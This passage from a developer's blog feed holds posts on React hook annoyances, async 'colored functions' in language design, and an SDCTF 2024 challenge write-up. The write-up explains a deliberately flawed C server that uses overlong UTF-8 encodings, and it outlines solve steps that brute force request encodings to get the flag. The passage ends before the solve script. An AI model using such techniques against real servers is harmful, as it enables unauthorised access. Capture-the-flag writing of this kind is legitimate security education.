<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">context</span> <span class="o">=</span> <span class="nx">useRef</span><span class="p">(</span><span class="kc">null</span><span class="p">)</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">context</span><span class="p">.</span><span class="nx">current</span> <span class="o">===</span> <span class="kc">null</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">context</span><span class="p">.</span><span class="nx">current</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">AudioContext</span><span class="p">()</span>
<span class="p">}</span>
</code></pre></div></div>

<p>However, this doesn’t work well in TypeScript. While in the above example it’s able narrow <code class="language-plaintext highlighter-rouge">context.current</code>’s type to <code class="language-plaintext highlighter-rouge">AudioContext</code> in the component body, it remains <code class="language-plaintext highlighter-rouge">AudioContext | null</code> inside function expressions like <code class="language-plaintext highlighter-rouge">useEffect</code>. This might be because of how <code class="language-plaintext highlighter-rouge">useRef</code> type signature is defined, however. If <code class="language-plaintext highlighter-rouge">useRef</code> were able to have an initializer function, then it’d be easier to convince TypeScript that <code class="language-plaintext highlighter-rouge">current</code> is never <code class="language-plaintext highlighter-rouge">null</code>.</p>

<h3 id="getting-the-latest-value-of-a-state">Getting the latest value of a state</h3>

<p>In <code class="language-plaintext highlighter-rouge">useEffect</code> and other callbacks, I’ll often want to use the current value of a state. However, doing so would require you to pass the state value to <code class="language-plaintext highlighter-rouge">useEffect</code>’s dependency list.</p>

<!-- `useEffect` seems to have an overloaded purpose. It's used both to perform side effects and to define easily reversible custom behaviors, like adding event -->

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">useEffect</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="c1">//</span>
<span class="p">},</span> <span class="p">[</span><span class="nx">TODO</span><span class="p">])</span>
</code></pre></div></div>

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="p">[</span><span class="nx">state</span><span class="p">,</span> <span class="nx">setState</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="dl">'</span><span class="s1">...</span><span class="dl">'</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">stateRef</span> <span class="o">=</span> <span class="nx">useRef</span><span class="p">(</span><span class="nx">state</span><span class="p">)</span>
<span class="nx">useEffect</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">stateRef</span><span class="p">.</span><span class="nx">current</span> <span class="o">=</span> <span class="nx">state</span>
<span class="p">},</span> <span class="p">[</span><span class="nx">state</span><span class="p">])</span>
</code></pre></div></div>

<h3 id="using-useeffect-as-a-listener-for-state-changes">Using <code class="language-plaintext highlighter-rouge">useEffect</code> as a listener for state changes</h3>

<p>Also, <code class="language-plaintext highlighter-rouge">useEffect</code>’s design of running when its dependencies change makes it a very attractive choice for performing side effects, such as saving data, whenever the state changes.<sup id="fnref:11" role="doc-noteref"><a href="#fn:11" class="footnote" rel="footnote">8</a></sup> This isn’t the best option, though, like in this example:</p>

<div class="language-tsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="p">[</span><span class="nx">state</span><span class="p">,</span> <span class="nx">setState</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="dl">'</span><span class="s1">...</span><span class="dl">'</span><span class="p">)</span>
<span class="kd">const</span> <span class="p">[</span><span class="nx">saving</span><span class="p">,</span> <span class="nx">setSaving</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="kc">false</span><span class="p">)</span>

<span class="nx">useEffect</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">setSaving</span><span class="p">(</span><span class="kc">true</span><span class="p">)</span>
  <span class="nx">saveState</span><span class="p">(</span><span class="nx">state</span><span class="p">).</span><span class="k">finally</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">setSaving</span><span class="p">(</span><span class="kc">false</span><span class="p">)</span>
  <span class="p">})</span>
<span class="p">},</span> <span class="p">[</span><span class="nx">state</span><span class="p">])</span>

<span class="k">return</span> <span class="p">(</span>
  <span class="p">&lt;</span><span class="nt">button</span> <span class="na">onClick</span><span class="p">=</span><span class="si">{</span><span class="p">()</span> <span class="o">=&gt;</span> <span class="nx">setState</span><span class="p">(</span><span class="dl">'</span><span class="s1">something else</span><span class="dl">'</span><span class="p">)</span><span class="si">}</span><span class="p">&gt;</span>Change the state<span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span>
<span class="p">)</span>
</code></pre></div></div>

<p>This feels like a natural solution to saving the state whenever it changes. However, this isn’t optimal<sup id="fnref:10" role="doc-noteref"><a href="#fn:10" class="footnote" rel="footnote">9</a></sup>. The <code class="language-plaintext highlighter-rouge">useEffect</code> runs after <code class="language-plaintext highlighter-rouge">state</code> is set, but it also sets the <code class="language-plaintext highlighter-rouge">saving</code> state in its body. This results in a double render, whereas the proper approach would place the callback directly after wherever the state is set:</p>

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">setState</span><span class="p">(</span><span class="dl">'</span><span class="s1">something else</span><span class="dl">'</span><span class="p">)</span>
<span class="nx">setSaving</span><span class="p">(</span><span class="kc">true</span><span class="p">)</span>
<span class="nx">saveState</span><span class="p">(</span><span class="nx">state</span><span class="p">).</span><span class="k">finally</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">setSaving</span><span class="p">(</span><span class="kc">false</span><span class="p">)</span>
<span class="p">})</span>
</code></pre></div></div>

<p>But this is not feasible if <code class="language-plaintext highlighter-rouge">setState</code> could be called in many places in the app.</p>

<p>hmm but couldnt you just wrap setstate in another function. and also it could be annoying to not be sure if setting state will cause side effects</p>

<hr />

<p>react annoyances:</p>

<ul>
  <li>hard to keep track of what is or should be memoized for hook dependencies</li>
  <li>(elm issue too) modifying state in a deeply nested object is verbose</li>
  <li>date Intl API results in hydration errors</li>
  <li>date.now and local storage are technically impure but it sucks that they need to be initialized in a use effect</li>
  <li>no built in class list</li>
  <li>providing and consuming context in the same component (if say a library only provides a hook that consumes the context)</li>
</ul>
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>I know create-react-app is deprecated, but my point still stands. There’s create-next-app, <code class="language-plaintext highlighter-rouge">sv create</code>, create-vue, etc. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p>I know the React Compiler exists now, but my point still stands. The React Compiler is meant to replicate the behaviors of the existing library, which presumably means that once released, you’d still be able to use the library without the compiler. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3" role="doc-endnote">
      <p>It isn’t worth noting, but a few months later I also worked on <a href="https://github.com/GHSClubs/Clustr-Web-App">Clustr</a>, which uses create-react-app. I feel like the lore is kind of funny. Basically, some people from my high school were working on a startup—one of them is a child of a <a href="https://en.wikipedia.org/wiki/Bart_Decrem">tech bro</a>—and wanted me to help them with the web version of their app. It’s just a wrapper around the spreadsheet of school clubs, since the school year was remote, but they managed to get the school admins to advertise it. Nonetheless, while I was implementing their design, I happened to also be updating the clubs list in UGWA—their direct competitor. UGWA’s club directory had more information, including the clubs’ promo videos, and was easier to search, if I do say so myself. Tragically, UGWA was <a href="https://midpenpost.org/2022/05/26/web-app-of-the-titans-the-story-of-gunns-schedule-app/">only acknowledged after it had shut down</a>. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:4" role="doc-endnote">
      <p>Except importing unversioned URLs considered harmful, I guess, so they gradually began moving away from that model, first with import maps then first-class npm support. <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:6" role="doc-endnote">
      <p>While Deno became more like Node, Node became more like Deno, with top level await, built-in <code class="language-plaintext highlighter-rouge">fetch</code>. Like my argument that other web frameworks don’t provide enough benefits to leave behind React’s network effect, I’m similarly disillusioned about Deno now because it no longer provides enough benefit to compensate for leaving Node’s ecosystem. Deno ultimately was just a fad. <a href="#fnref:6" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:5" role="doc-endnote">
      <p>Which they later deprecated then removed in Deno 2. Though, at the time of writing, <a href="https://docs.deno.com/runtime/reference/bundling/">it seems they’re adding it back</a>? <a href="#fnref:5" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:8" role="doc-endnote">
      <p>For the classrooms website, which still uses Deno 1.x to this day, it <a href="https://github.com/SheepTester/uxdy/blob/main/scripts/deploy.sh">clones and pushes the build to the gh-pages branch</a> of the repo. <a href="#fnref:8" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:11" role="doc-endnote">
      <p>Kind of like <code class="language-plaintext highlighter-rouge">always_ff</code> in System Verilog. <a href="#fnref:11" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:10" role="doc-endnote">
      <p>It also has a race condition if the state changes again while it’s saving, unless <code class="language-plaintext highlighter-rouge">saveState</code> is capable of locking or cancelling past invocations. <a href="#fnref:10" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name></name></author><category term="programming" /><category term="html5" /><summary type="html"><![CDATA[Todo]]></summary></entry><entry><title type="html">thinking about colored functions</title><link href="https://sheeptester.github.io/longer-tweets/colored-functions/" rel="alternate" type="text/html" title="thinking about colored functions" /><published>2025-07-26T00:00:00-07:00</published><updated>2025-07-26T00:00:00-07:00</updated><id>https://sheeptester.github.io/longer-tweets/colored-functions</id><content type="html" xml:base="https://sheeptester.github.io/longer-tweets/colored-functions/"><![CDATA[<p>“Colored functions” refers to <a href="https://journal.stuffwithstuff.com/2015/02/01/what-color-is-your-function/">“What Color is Your Function?”</a>, which describes an allegory for async functions in programming languages. The blog post was written with Node.js callbacks in mind, before promises were commonplace in JavaScript, but <code class="language-plaintext highlighter-rouge">async</code>/<code class="language-plaintext highlighter-rouge">await</code> was already a feature in other programming languages like C#.</p>

<p>Essentially, in a programming language with colored functions,</p>

<ol>
  <li>Red functions can only call other red functions. Blue functions can call either red or blue functions.</li>
  <li>Red functions have some downside, so you wouldn’t want to make all your functions red.</li>
  <li>Some library functions are red, so you can’t make all your functions blue.</li>
</ol>

<p>In this allegory, red functions are asynchronous, and blue functions are synchronous. But the situation can apply to other language features too, like Rust <code class="language-plaintext highlighter-rouge">const</code> functions, Haskell <code class="language-plaintext highlighter-rouge">IO</code>, and functions that throw errors.</p>

<p>In this post, I’m just going to brainstorm some programming language design ideas with colored functions in mind, with a bias towards JavaScript.</p>

<h1 id="why-async">Why async?</h1>

<p>Not all languages have an async/sync split. Go, for example, proudly has its own “goroutines,” which are like threads but managed by the Go runtime, so they’re more lightweight and can be used for benign tasks that you’d use async functions for in other languages, like reading two files in parallel.</p>

<p>I think Go syntax is clunky and verbose in general, but even with syntax-level support for goroutines (you can spawn one with a special keyword <code class="language-plaintext highlighter-rouge">go</code>), the code for reading two files in parallel is not as elegant as JavaScript’s <code class="language-plaintext highlighter-rouge">Promise.all</code>.
Also, since all functions are synchronous, it’s hard to tell at a glance which function calls may block the thread and should, for example, be a candidate for being called a goroutine if called in a loop.</p>

<p>See, in JavaScript—at least, main-thread browser JavaScript—you can generally assume that if a function is synchronous, it is probably “fast.” All library functions that would block the thread in other programming languages, like sleeping or performing IO, are asynchronous in JavaScript,<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup> and they have to be, lest they make the web page freeze. In JavaScript, async function calls look syntactically very different from regular function calls—they either involve a callback function or the <code class="language-plaintext highlighter-rouge">await</code> keyword. Synchronous functions of course can be slower than asynchronous functions, e.g. if they’re computationally intensive, and in frontend JavaScript these functions are less common because they noticeably make the page lag. But virtual threads wouldn’t save you from this either.</p>

<p>Also, at least with JavaScript’s implementation of asynchronous functions, IO-bound programs can be kept in a single OS thread, and along with explicit syntax for async function calls, synchronization becomes free: you don’t need to worry about a context switch happening in the middle of a synchronous expression, so sharing data between async threads can be done naively without worrying about race conditions.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">sessions</span> <span class="o">=</span> <span class="p">{}</span>
<span class="kd">let</span> <span class="nx">nextId</span> <span class="o">=</span> <span class="mi">0</span>

<span class="kd">function</span> <span class="nx">handleRequest</span> <span class="p">(</span><span class="nx">req</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">sessions</span><span class="p">[</span><span class="nx">nextId</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="na">id</span><span class="p">:</span> <span class="nx">nextId</span><span class="p">,</span> <span class="na">user</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">user</span> <span class="p">}</span>
  <span class="nx">nextId</span><span class="o">++</span>
  <span class="k">return</span> <span class="nx">nextId</span>
<span class="p">}</span>
</code></pre></div></div>

<p><em>In the example above, <code class="language-plaintext highlighter-rouge">handleRequest</code> would be full of synchronization red flags in a multithreaded program if written in another language. But in JavaScript, this is perfectly safe.</em></p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="kd">function</span> <span class="nx">handleRequest</span> <span class="p">(</span><span class="nx">req</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">id</span> <span class="o">=</span> <span class="nx">nextId</span>
  <span class="nx">sessions</span><span class="p">[</span><span class="nx">id</span><span class="p">]</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">createSession</span><span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">id</span><span class="p">)</span>
  <span class="nx">nextId</span><span class="o">++</span>
<span class="p">}</span>
</code></pre></div></div>

<p><em>In the example above, there is a race condition that allows for multiple sessions to use the same ID. While possible to miss, it’s made clearer thanks to the <code class="language-plaintext highlighter-rouge">await</code> keyword.</em></p>

<p>In short, I believe the benefits of explicit asynchronous functions are that:</p>

<ol>
  <li>There’s a clear distinction whether a function involves IO and is “slow”/could run in parallel.</li>
  <li>IO-bound programs can be kept single-threaded, so</li>
  <li>It’s easier to avoid race conditions.</li>
</ol>

<h1 id="why-are-colored-functions-a-problem">Why are colored functions a problem?</h1>

<p>The blog implies some pitfalls you’d encounter with colored functions, but I want to reiterate some here, because they’re the specific problems I want to address with my language design ideas:</p>

<ul>
  <li>
    <p>A higher-order function might want to allow its input function to be asynchronous, but doing so would require the entire function to be asynchronous too.</p>

    <p>For example, <code class="language-plaintext highlighter-rouge">JSON.parse</code> is a synchronous function takes a replacer function, which must also be synchronous. If you want to read a file</p>
  </li>
  <li>
    <p>In a library, making a synchronous function async would be a breaking change, but this prevents you from adding async calls in future versions.</p>

    <p>Maybe this is a good thing; a consumer of a library probably does not want the library to unexpectedly perform IO in future versions. But maybe the library authors want add an option that reads data from a file; this would not be possible without creating a duplicate function with an almost-identical implementation, except that it is async.</p>
  </li>
  <li>
    <p>Both of these reasons lead to sync and async APIs, which have the same implementation except one is async and the other is not. This results in duplicate code and violates <a href="https://en.wikipedia.org/wiki/Don%27t_repeat_yourself">DRY</a>.</p>
  </li>
  <li>
    <p>Plus, it might be nice to have a language that tracks whether a function is pure or impure, or whether it can throw an error. Adding more axes of function colors only makes the problem exponentially worse.</p>
  </li>
</ul>

<p>Ultimately, the main problem is that restrictions on what a function can call results in multiple functions with duplicate code.</p>

<h1 id="idea-1-maybe-some-functions-dont-care">Idea 1: Maybe some functions don’t care</h1>

<p>Maybe the language can infer whether a function is async based on what functions it calls. If you don’t care whether your function is async or not, you can leave its synchronicity unspecified. If one of your dependency functions becomes async in the future, so does your function, but you don’t need to modify your code. If one of your function arguments is async, so is your function.</p>

<p>This might be more relevant for keeping track of errors. This could allow bubbling up error types from dependency functions as new error types are introduced, so you can leave the decision of whether to handle the error up to the consumer of your function.</p>
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>In frontend JavaScript, notable exceptions include the <code class="language-plaintext highlighter-rouge">localStorage</code> APIs, the <code class="language-plaintext highlighter-rouge">alert</code> family, and synchronous <code class="language-plaintext highlighter-rouge">XMLHttpRequest</code>, and their use is now discouraged. Web Workers do enjoy a few more blocking library functions, like <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Atomics/wait"><code class="language-plaintext highlighter-rouge">Atomics.wait</code></a>. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name></name></author><category term="programming" /><summary type="html"><![CDATA[Brainstorming solutions to colored functions.]]></summary></entry><entry><title type="html">SDCTF 2024</title><link href="https://sheeptester.github.io/longer-tweets/sdctf24/" rel="alternate" type="text/html" title="SDCTF 2024" /><published>2024-05-14T00:00:00-07:00</published><updated>2024-05-14T00:00:00-07:00</updated><id>https://sheeptester.github.io/longer-tweets/sdctf24</id><content type="html" xml:base="https://sheeptester.github.io/longer-tweets/sdctf24/"><![CDATA[<p>This year, I was part of the challenge writer team for SDCTF. Probably unsurprisingly, I procrastinated to the start of the CTF to write my challenges.</p>

<p>I contributed to these challenges:</p>

<ul>
  <li><a href="#webutf-wait">web/utf-wait</a>: A website that renders broken text in your browser.</li>
  <li><a href="#webopen-source">web/open-source</a>: A web page that seems to have a fake flag in the source code.</li>
  <li><a href="#webcalculator">web/calculator</a>: A simple arithmetic calculator that spawns a Python process to perform the calculation.</li>
</ul>

<p>Spoilers ahead! Or <a href="#summary">skip to the summary</a>.</p>

<h2 id="webutf-wait">web/utf-wait</h2>

<p><img src="../images/sdctf24/web/utf-wait/default.png" alt="An unstyled web page consisting of lines of Unicode replacement characters �, indicating broken text, and emojis sprinkled about" /></p>

<blockquote>
  <p><strong>utf-wait</strong>: 352 pts, 7 solves</p>

  <hr />

  <p><strong>Author</strong>: Sean<br /> <strong>Difficulty</strong>: Medium<br /> <strong>Category</strong>: Web</p>

  <hr />

  <p>😊 I’m learning 🧠 how to make my own HTTP server in C! 🗺️ Here’s my cool little journal 📖 website. To start 🚶, try looking up <code class="language-plaintext highlighter-rouge">flag</code> 🚩! It doesn’t work 💔 in some browsers, though. 🙇</p>
</blockquote>

<p>Only four hours before the end of the CTF (because that’s when I woke up), I released this clarification after someone asked about it in a ticket:</p>

<blockquote>
  <p>Sorry for not clarifying this earlier 🙏, but making a few hundred 💯💯💯💯 requests in series 🚶 isn’t considered fuzzing 👌 by our rules 📜 (I was told this should be obvious 🙄). That may be necessary for this challenge 🎮 because my friend 💃 says my server is a bit ⚠️nondeterministic⚠️! 😵‍💫</p>
</blockquote>

<p><a href="https://github.com/acmucsd/sdctf-2024/tree/main/web/utf-wait">GitHub source</a></p>

<h3 id="inspiration">Inspiration</h3>

<p>For some reason, a few years ago I decided I wanted to read the entire <a href="https://www.unicode.org/standard/standard.html">Unicode Standard</a>. While I never finished it, I did read through the section that explained how Unicode encodes text in binary.</p>

<p>Unicode text is a list of Unicode characters, which have a code value<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup> between U+0000 and U+10FFFF. This means that to encode a character, you may need up to 21 bits, or 3 bytes, to encode each character. But most text falls in the Basic Multilingual Plane (BMP), the range of characters U+0000 to U+FFFF, which only needs 16 bits or 2 bytes per character. And a lot of text, particularly in the English-speaking world, uses exclusively ASCII characters in the U+0000 to U+007F range, which only needs one byte per character.</p>

<p>Unicode defines three text encoding standards that trades off between simplicitly and compactness:</p>

<ul>
  <li>
    <p>UTF-32: Use 4 bytes per character, and encode each code value as a 32-bit integer. <a href="https://doc.rust-lang.org/std/primitive.char.html">Rust’s <code class="language-plaintext highlighter-rouge">char</code> type</a> uses UTF-32.</p>
  </li>
  <li>
    <p>UTF-16: Use 2 bytes per character for characters in the BMP. For characters outside the BMP, Unicode has reserved a range of code values in the BMP that can be used as a surrogate pair to represent the rest of the characters from U+10000 to U+10FFFF.</p>

    <p>Languages like Java and JavaScript use UTF-16 for strings. UTF-16 is nice because it uses half the space as UTF-32, but still has a constant number of bytes per character for most characters, so you can easily get a character by index in a string.</p>

    <p>Except it’s not so convenient for characters outside the BMP, like emoji. This is why in JavaScript, emojis seem to be two characters long, and trying to index into a string with emoji can result in getting individual code vales of a surrogate pair, which is rendered as �.</p>

    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> <span class="dl">'</span><span class="s1">🚩</span><span class="dl">'</span><span class="p">.</span><span class="nx">length</span>
<span class="mi">2</span>

<span class="o">&gt;</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">🚩</span><span class="dl">'</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
<span class="err">�</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p>UTF-8: Use a variable number of bytes per character.</p>

    <p>For ASCII characters in the range U+0000 to U+007F, they’re encoded the same as they are in ASCII: one byte per character. The byte is just the code value. The benefit of this is that UTF-8 is the same as ASCII for ASCII-only text. I think this might contribute to why programmers often confuse bytes with characters, and code values with characters’ byte representation.</p>

    <p>However, for the rest of the characters, UTF-8 uses something reminiscent of a linked list. The bytes for the ASCII range of code values all start with 0, so if it starts with 1, this indicates that the byte is part of a multi-byte sequence:</p>

    <ul>
      <li><code class="language-plaintext highlighter-rouge">110xxxxx</code> means the character is two bytes long.</li>
      <li><code class="language-plaintext highlighter-rouge">1110xxxx</code> means the character is three bytes long.</li>
      <li><code class="language-plaintext highlighter-rouge">11110xxx</code> means the character is four bytes long.</li>
      <li><code class="language-plaintext highlighter-rouge">10xxxxxx</code> is used for the rest of the byte sequence.</li>
    </ul>

    <p>I think <a href="https://en.wikipedia.org/wiki/UTF-8#Encoding">Wikipedia’s table</a> summarizes this best:</p>

    <p><img src="../images/sdctf24/web/utf-wait/wiki-utf8.png" alt="Wikipedia's table of byte sequences per range of code points" /></p>

    <p>The remaining <code class="language-plaintext highlighter-rouge">x</code> bits are used to store the bits of the code value.</p>
  </li>
</ul>

<p>There’s two things interesting about UTF-8, both of which Wikipedia has notes about:</p>

<ul>
  <li>
    <p>UTF-8 could be extended to support longer byte sequences, such as <code class="language-plaintext highlighter-rouge">111110xx</code> for 5-byte squences. Wikipedia says this has originally been proposed, but they limited it so there aren’t code values that UTF-8 can encode and UTF-16 can’t.</p>
  </li>
  <li>
    <p>You can use longer byte sequences than is necessary for a character. However, UTF-8 requires that encoders reject these “<a href="https://en.wikipedia.org/wiki/UTF-8#Overlong_encodings">overlong encodings</a>”:</p>

    <blockquote>
      <p>Longer encodings are called <em>overlong</em> and are not valid UTF-8 representations of the code point.</p>
    </blockquote>
  </li>
</ul>

<p>So, I wondered, what if I did that anyways?</p>

<h3 id="development">Development</h3>

<p>My idea was this: make a web server that (purportedly) naively tries to use its own UTF-8 encoder/decoder, except it somehow unintentionally produces overlong encodings. Pretty much any reasonable<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup> UTF-8 decoder, from parsers to programming languages, should reject these encodings, so users will see broken text. I also wanted users to be able to produce overlong encodings on their own, i.e. requiring them to write an overlong UTF-8 decoder and encoder.<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup></p>

<p>I first wrote a <a href="https://github.com/acmucsd/sdctf-2024/blob/main/web/utf-wait/polyfill.ts">UTF-8 encoder/decoder in JavaScript</a> because I was most familiar with that language. I was thinking that I could spin up a Node or Deno web server, and perhaps claim to use the encoder/decoder as a polyfill. Then, I could just upload the server file as an attachment (but omit polyfill.ts) to hide its implementation.</p>

<p>But as I wrote the server, I realized that it didn’t really make sense for me to have to use a polyfilled <code class="language-plaintext highlighter-rouge">TextEncoder</code> for the server since the language already handles that automatically everywhere. It would look suspect if I did something like <code class="language-plaintext highlighter-rouge">new Response(encoder.encode(html))</code> instad of just <code class="language-plaintext highlighter-rouge">new Response(html)</code>.</p>

<p>It made more sense to use a language like C, which may not have UTF-8 handling built in<sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">4</a></sup>, and C seems like a language where handling bytes directly is far more common (unlike, say, Rust). Also, C is a nice and simple programming language (unlike C++).</p>

<p>So I wrote the same <a href="https://github.com/acmucsd/sdctf-2024/blob/main/web/utf-wait/utf8.c">UTF-8 encoder/decoder in C</a>, then followed <a href="https://dev.to/jeffreythecoder/how-i-built-a-simple-http-server-from-scratch-using-c-739">an online tutorial</a> for a C HTTP server. Fortunately, it’s fairly convenient and doesn’t require as many incantations as, say, WebGL. I risk introducing more vulnerabilities this way, but whatever.</p>

<p>A decision I made was to pre-encode all the static files of the site when the server starts, rather than re-encoding the response on every request. This is because I didn’t want to make it too obvious that the encoding was random and nondeterministic, and it would reveal what bytes of the file matter (i.e. don’t change) and what don’t. I also didn’t want the <code class="language-plaintext highlighter-rouge">flag</code> key for the journal to change while the user is trying to guess its encoding.</p>

<p>Another design problem I had was where to sneak in the requirement for the user to encode text, such as the journal name <code class="language-plaintext highlighter-rouge">flag</code>, in UTF-wait. For a journal site, it might make sense for the route for retrieving a journal’s contents to be at <code class="language-plaintext highlighter-rouge">GET /journal/:name</code> or something. However, URLs aren’t encoded in UTF-8. The only part of a request that is normally encoded in UTF-8 is the request body (so GET requests are out of the question).</p>

<p>I wanted a route for editing journals, but this would require part of the request body to be partitioned for the journal name, and the rest for the journal contents. To be honest, in retrospect I’m not sure why I struggled with designing this. I could’ve just required a newline or two between the journal name and contents (like a Git commit message), and encoded the whole thing as a Unicode string in UTF-wait. But whatever.</p>

<p>Ultimately, I just kept it simple. For the user doing the challenge, they shall just see the website as a read-only blog. Then, they just have to request the journal entry for <code class="language-plaintext highlighter-rouge">flag</code>, but since the developer of the website is naive, it takes several attempts to get the right encoding of <code class="language-plaintext highlighter-rouge">flag</code> to see its journal entry.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">utf8</span> <span class="n">response</span> <span class="o">=</span>
    <span class="n">flag_key</span><span class="p">.</span><span class="n">n</span> <span class="o">==</span> <span class="n">bytes_received</span> <span class="o">&amp;&amp;</span>
            <span class="n">strncmp</span><span class="p">(</span><span class="n">flag_key</span><span class="p">.</span><span class="n">bytes</span><span class="p">,</span> <span class="n">body</span><span class="p">,</span> <span class="n">flag_key</span><span class="p">.</span><span class="n">n</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span>
        <span class="o">?</span> <span class="n">flag_response</span>
        <span class="o">:</span> <span class="n">no_note_response</span><span class="p">;</span>
<span class="n">send</span><span class="p">(</span><span class="n">client_fd</span><span class="p">,</span> <span class="n">response</span><span class="p">.</span><span class="n">bytes</span><span class="p">,</span> <span class="n">response</span><span class="p">.</span><span class="n">n</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</code></pre></div></div>

<p>As a side note, for some reason I noticed my server was a bit slow, despite being written in C. I wondered how it would scale up to serve the entire CTF, but it ended up not mattering because our platform used an instancing system where each user got a different server instance, so I don’t have to handle a large server load.</p>

<p>As for the front-end, I kept the styling minimal. I think I was planning to make it prettier, but I guess no one would’ve seen it anyways.</p>

<p><img src="../images/sdctf24/web/utf-wait/normal.png" alt="Notes Viewer 📖
Hello! 👋 I made this website 🌐 to showcase my personal notes. 😳
Type 🧑‍💻 the name of the note you want to see: 👀
Text field
Button: View ✨" /></p>

<p>For SDCTF, we were thinking about having a dedicated emoji category. My encoder only encodes up to 4-byte sequences, which is how emojis and other non-BMP characters are supposed to be encoded in UTF-8. That means that a normal decoder will fail to decode anything <em>except</em> for emoji, and all the user’d see are just emoji interspersed among replacement characters, which happens to fit the emoji category. Therefore, I tried to use as much emoji I could for this challenge; it would help to hint that the website is indeed in plain text. Ultimately, however, we didn’t get around to making the emoji category happen.</p>

<h3 id="solution">Solution</h3>

<p>The way I thought people might go about this challenge is this, with paths off the main trail removed:</p>

<ol>
  <li>See that only emoji are rendering on the web page.</li>
  <li>Open the web page contents in a hex viewer
    <ul>
      <li>When I tried this, it’s actually pretty difficult. Ctrl+S’ing the page in Chrome keeps the replacement characters (<code class="language-plaintext highlighter-rouge">FF FD</code>) in the file, which makes sense because I know it already does fancy shenanigans like including all the page CSS and JavaScript in a folder. But saving the response as a file from the Network Log also did not preserve the original bytes of the response, and instead stored replacement characters. I had to use <code class="language-plaintext highlighter-rouge">curl</code> to retain the bytes.</li>
    </ul>
  </li>
  <li>Magically realize (perhaps from the challenge name and the headers suggesting it’s UTF-8) that the file uses overlong encodings</li>
  <li>Write a UTF-wait decoder and decode the files served by the server</li>
  <li>Read the JS file to deduce how to get the flag, by making a <code class="language-plaintext highlighter-rouge">POST /</code> request with an encoding of <code class="language-plaintext highlighter-rouge">flag</code> in the body</li>
  <li>Brute force every possible encoding of <code class="language-plaintext highlighter-rouge">flag</code>. Each character can be encoded 3–4 ways (1–2 bytes to 4 bytes), so that gives between 81 and 256 permutations to brute force.</li>
</ol>

<p>I was concerned that players might think they aren’t allowed to brute force these permutations, so I wanted to clarify that this was fine. I wanted this clarification to be added to the CTF-wide rules rather than specifically for this challenge to avoid giving hints.</p>

<p>However, Nick thought it was obvious that making a few hundred requests, especially with a delay in between, didn’t count as brute forcing, and it wasn’t necessary to clarify that it was allowed.</p>

<p>For checking that the deployed challenge works, this was my solve script:</p>

